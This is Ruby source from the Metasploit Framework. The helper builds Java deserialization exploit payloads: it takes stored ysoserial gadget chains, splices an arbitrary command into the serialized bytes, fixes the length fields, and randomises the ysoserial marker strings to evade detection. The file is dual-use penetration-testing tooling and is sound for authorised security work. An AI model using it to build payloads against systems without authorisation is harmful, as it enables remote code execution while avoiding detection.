rapid7/metasploit-framework

# -*- coding: binary -*-

module Msf
module Util

require 'json'

class JavaDeserialization

  PAYLOAD_FILENAME = "ysoserial_payloads.json"

  def self.ysoserial_payload(payload_name, command=nil, modified_type: 'none')
    payloads_json = load_ysoserial_data(modified_type)

    # Extract the specified payload (status, lengthOffset, bufferOffset, bytes)
    payload = payloads_json[payload_name]

    raise ArgumentError, "#{payload_name} payload not found in ysoserial payloads" if payload.nil?

    # Based on the status, we'll raise an exception, return a static payload, or
    # generate a dynamic payload with modifications at the specified offsets
    case payload['status']
    when 'unsupported'
      # This exception will occur most commonly with complex payloads that require more than a string
      raise ArgumentError, 'ysoserial payload is unsupported'
    when 'static'
      # TODO: Consider removing 'static' functionality, since ysoserial doesn't currently use it
      return Rex::Text.decode_base64(payload['bytes'])
    when 'dynamic'
      raise ArgumentError, 'missing command parameter' if command.nil?

      bytes = Rex::Text.decode_base64(payload['bytes'])

      # Insert buffer
      buffer_offset  = payload['bufferOffset'].first   #TODO: Do we ever need to support multiple buffers?
      bytes[buffer_offset - 1] += command

      # Overwrite length (multiple times, if necessary)
      length_offsets = payload['lengthOffset']
      length_offsets.each do |length_offset|
        # Extract length as a 16-bit unsigned int, then add the length of the command string
        length  = bytes[(length_offset-1)..length_offset].unpack('n').first
        length += command.length.ord
        length  = [length].pack("n")
        bytes[(length_offset-1)..length_offset] = length
      end

      # Replace "ysoserial\/Pwner" timestamp and "ysoserial" string with randomness for evasion
      bytes.gsub!('ysoserial/Pwner00000000000000', Rex::Text.rand_text_alphanumeric(29))
      bytes.gsub!('ysoserial', Rex::Text.rand_text_alphanumeric(9))

      return bytes
    else
      raise RuntimeError, 'Malformed JSON file'
    end
  end

  def self.ysoserial_payload_names(modified_type: 'none')
    payloads_json = load_ysoserial_data(modified_type)
    payloads_json.keys
  end

  class << self
    private

    def load_ysoserial_data(modified_type)
      # Open the JSON file and parse it
      path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME)
      begin
        json = JSON.parse(File.read(path, mode: 'rb'))
      rescue Errno::ENOENT, JSON::ParserError
        raise RuntimeError, "Unable to load JSON data from: #{path}"
      end

      # Extract the specified payload type (including cmd, bash, powershell, none)
      payloads_json = json[modified_type.to_s]
      if payloads_json.nil?
        raise ArgumentError, "#{modified_type} type not found in ysoserial payloads"
      end

      payloads_json
    end
  end

end # JavaDeserialization
end # Util
end # Msf